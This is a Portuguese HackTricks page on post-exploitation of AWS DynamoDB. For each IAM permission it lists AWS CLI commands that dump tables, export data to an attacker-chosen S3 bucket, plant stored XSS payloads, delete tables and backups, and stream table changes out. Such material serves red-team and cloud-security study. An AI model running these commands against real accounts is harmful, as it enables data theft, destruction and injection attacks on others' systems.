AWS - DynamoDB Post Exploitation

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

DynamoDB

Para mais informações, verifique:

pageAWS - DynamoDB Enum

dynamodb:BatchGetItem

Um atacante com essas permissões será capaz de obter itens das tabelas pela chave primária (você não pode simplesmente solicitar todos os dados da tabela). Isso significa que você precisa saber as chaves primárias (você pode obtê-las obtendo os metadados da tabela (describe-table).

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

Impacto Potencial: Elevação indireta de privilégios ao localizar informações sensíveis na tabela

dynamodb:GetItem

Semelhante às permissões anteriores, esta permite a um potencial atacante ler valores de apenas 1 tabela, fornecida a chave primária da entrada a ser recuperada:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

Com essa permissão, também é possível usar o método transact-get-items assim:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Impacto Potencial: Privesc indireto ao localizar informações sensíveis na tabela

dynamodb:Query

Semelhante às permissões anteriores, esta permite a um potencial atacante ler valores de apenas 1 tabela, fornecida a chave primária da entrada a ser recuperada. Permite usar um subconjunto de comparações, mas a única comparação permitida com a chave primária (que deve aparecer) é "EQ", portanto, não é possível usar uma comparação para obter todo o banco de dados em uma solicitação.

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

Impacto Potencial: Privesc indireto ao localizar informações sensíveis na tabela

dynamodb:Scan

Você pode usar essa permissão para despejar facilmente toda a tabela.

aws dynamodb scan --table-name <t_name> #Get data inside the table

Impacto Potencial: Privesc indireto ao localizar informações sensíveis na tabela

dynamodb:PartiQLSelect

Você pode usar essa permissão para despejar facilmente toda a tabela.

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

Esta permissão também permite executar batch-execute-statement como:

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

mas você precisa especificar a chave primária com um valor, então não é tão útil.

Impacto Potencial: Privesc indireto ao localizar informações sensíveis na tabela

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

Essa permissão permitirá a um atacante exportar toda a tabela para um bucket S3 de sua escolha:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

Note que, para que isso funcione, a tabela precisa ter a recuperação no ponto no tempo habilitada, você pode verificar se a tabela possui com:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

Se não estiver habilitado, você precisará habilitá-lo e para isso você precisa da permissão dynamodb:ExportTableToPointInTime:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Impacto Potencial: Privesc indireto ao localizar informações sensíveis na tabela

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

Com essas permissões, um atacante seria capaz de criar uma nova tabela a partir de um backup (ou até mesmo criar um backup para depois restaurá-lo em uma tabela diferente). Em seguida, com as permissões necessárias, ele seria capaz de verificar informações dos backups que não estariam mais na tabela de produção.

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Impacto Potencial: Privesc indireto ao localizar informações sensíveis no backup da tabela

dynamodb:PutItem

Esta permissão permite aos usuários adicionar um novo item à tabela ou substituir um item existente por um novo item. Se um item com a mesma chave primária já existir, o item inteiro será substituído pelo novo item. Se a chave primária não existir, um novo item com a chave primária especificada será criado.

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

aws dynamodb put-item \
--table-name ExampleTable \
--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
--region <region>

Impacto Potencial: Exploração de mais vulnerabilidades/bypasses ao poder adicionar/modificar dados em uma tabela DynamoDB

dynamodb:UpdateItem

Esta permissão permite aos usuários modificar os atributos existentes de um item ou adicionar novos atributos a um item. Ela não substitui o item inteiro; ela apenas atualiza os atributos especificados. Se a chave primária não existir na tabela, a operação irá criar um novo item com a chave primária especificada e definir os atributos especificados na expressão de atualização.

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region <region>

Impacto Potencial: Exploração de vulnerabilidades/bypasses adicionais ao poder adicionar/modificar dados em uma tabela DynamoDB

dynamodb:DeleteTable

Um atacante com essa permissão pode excluir uma tabela DynamoDB, causando perda de dados.

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

Impacto potencial: Perda de dados e interrupção de serviços que dependem da tabela excluída.

dynamodb:DeleteBackup

Um atacante com essa permissão pode excluir um backup do DynamoDB, potencialmente causando perda de dados em caso de um cenário de recuperação de desastres.

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Impacto potencial: Perda de dados e incapacidade de recuperar de um backup durante um cenário de recuperação de desastres.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

A FAZER: Testar se isso realmente funciona

Um atacante com essas permissões pode ativar um fluxo em uma tabela DynamoDB, atualizar a tabela para começar a transmitir alterações e, em seguida, acessar o fluxo para monitorar as alterações na tabela em tempo real. Isso permite que o atacante monitore e exfiltre alterações de dados, potencialmente levando a vazamento de dados.

  1. Ativar um fluxo em uma tabela DynamoDB:

bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. Descreva o fluxo para obter o ARN e outros detalhes:

bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. Obter o iterador de fragmentos usando o ARN do fluxo:

bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. Use o iterador de fragmentos para acessar e exfiltrar dados do fluxo:

bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Impacto potencial: Monitoramento em tempo real e vazamento de dados das alterações na tabela do DynamoDB.

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Última actualización